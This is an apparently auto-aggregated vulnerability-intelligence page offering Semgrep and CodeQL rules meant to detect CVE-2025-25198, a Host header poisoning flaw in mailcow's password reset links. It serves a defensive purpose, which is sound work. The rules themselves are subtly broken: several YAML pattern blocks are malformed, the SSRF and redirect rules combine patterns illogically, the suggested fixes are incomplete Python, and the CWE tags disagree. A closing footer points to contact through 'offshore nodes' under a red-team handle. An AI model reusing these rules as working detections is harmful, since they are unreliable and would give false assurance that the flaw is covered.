📋 代码元数据语言yaml来源rules/semgrep/CVE-2025-25198.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2025-25198.yaml

rules:
- id: CVE-2025-25198-host-header-injection
  languages:
  - python
  severity: ERROR
  message: "Potential Host header injection via unvalidated HTTP Host header. mailcow password reset uses Host header to generate reset links,allowing attacker-controlled domain poisoning."
  patterns:
  - pattern-either:
    - pattern: |$HEADERS.get("Host")
    - pattern: |
$REQUEST.META.get("HTTP_HOST")
    - pattern: |"Host" in $HEADERS
    - pattern: |os.environ.get("HTTP_HOST")
    - pattern: |request.get_host()
  - pattern-not: |$DOMAIN = get_validated_domain($REQUEST)
  fix: |
from django.http import HttpRequest
    def validate_host(host):
        allowed_hosts = settings.ALLOWED_HOSTS or []
        if host in allowed_hosts:
            return host
        raise ValueError("Invalid Host header")
  metadata:
    cwe: "CWE-644"
    owasp: "A1: Injection"
    technology: django
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-25198"
    - "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf"
- id: CVE-2025-25198-ssrf-injection
  languages:
  - python
  severity: ERROR
  message: "Potential Server-Side Request Forgery (SSRF) via unvalidated URL,
leading to host header poisoning and password reset link hijacking."
  patterns:
  - pattern: |requests.get($URL,...)
  - pattern-either:
    - pattern: |urllib.request.urlopen($URL)
    - pattern: |httpx.get($URL,...)
    - pattern: |requests.post($URL,...)
  - pattern-not: |requests.get("https://internal.service/api",...)
  fix: |
from urllib.parse import urlparse
    ALLOWED_DOMAINS = ["mailcow.domain.com",
"api.mailcow.com"]
    parsed = urlparse(url)
    if parsed.hostname in ALLOWED_DOMAINS:
        return requests.get(url)
    raise ValueError("Forbidden URL")
  metadata:
    cwe: "CWE-918"
    owasp: "A1: Injection"
    technology: requests
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-25198"
    - "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf"
- id: CVE-2025-25198-redirect-injection
  languages:
  - python
  severity: ERROR
  message: "Potential URL redirection to user-controlled domain,
enabling phishing via Host header poisoning in password reset flow."
  patterns:
  - pattern: |redirect($LOCATION)
  - pattern-either:
    - pattern: |HttpResponseRedirect($URL)
    - pattern: |redirect($URL)
    - pattern: |RedirectView(url=$URL)
  - pattern-not: |redirect("https://mailcow.app/reset-password")
  fix: |
from django.shortcuts import redirect
    def safe_redirect(url):
        parsed = urlparse(url)
        if parsed.hostname in ALLOWED_HOSTS:
            return redirect(url)
        return redirect("/")
  metadata:
    cwe: "CWE-601"
    owasp: "A1: Injection"
    technology: django
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-25198"
    - "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf"

🛡️ CodeQL 审计规则: CVE-2025-25198.ql

📋 代码元数据语言ql来源rules/codeql/CVE-2025-25198.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run

/**
 * @kind path-problem
 * @id python/host-header-poisoning/cve-2025-25198
 * @name Host header poisoning in mailcow password reset
 * @description User-controlled Host header used in password reset link generation,
allowing attacker to redirect password reset links to arbitrary host
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-522
 */
import python
import semmle.python.dataflow.TaintTracking
import semmle.python.web.HttpRequest
import semmle.python.web.Uri

class HostHeaderSource extends DataFlow::Node {HostHeaderSource() {exists(HttpRequest req |
this = req.getHeader("Host") or
      this = req.getHeader("host")
    )
  }}class PasswordResetSink extends DataFlow::Node {PasswordResetSink() {exists(Call call |call.getFunction().getName() = "reset_password" and
      this = call.getArg(_)
    ) or
    exists(AttrWrite attr |attr.getAttribute() = "password_reset_link" and
      this = attr.getValue()
    ) or
    exists(Call call |
call.getFunction().getName() = "send_mail" and
      this = call.getArg(0)
    )
  }}class HostHeaderPoisoningConfig extends TaintTracking::Configuration {HostHeaderPoisoningConfig() {this = "HostHeaderPoisoningConfig" }override predicate isSource(DataFlow::Node source) {source instanceof HostHeaderSource
  }override predicate isSink(DataFlow::Node sink) {sink instanceof PasswordResetSink
  }}
from HostHeaderPoisoningConfig cfg,DataFlow::Node source,DataFlow::Node sink
where cfg.hasFlow(source,sink)
select sink,"Host header flows to password reset: $@",source,"attack-controlled Host header"

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-01 15:14 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)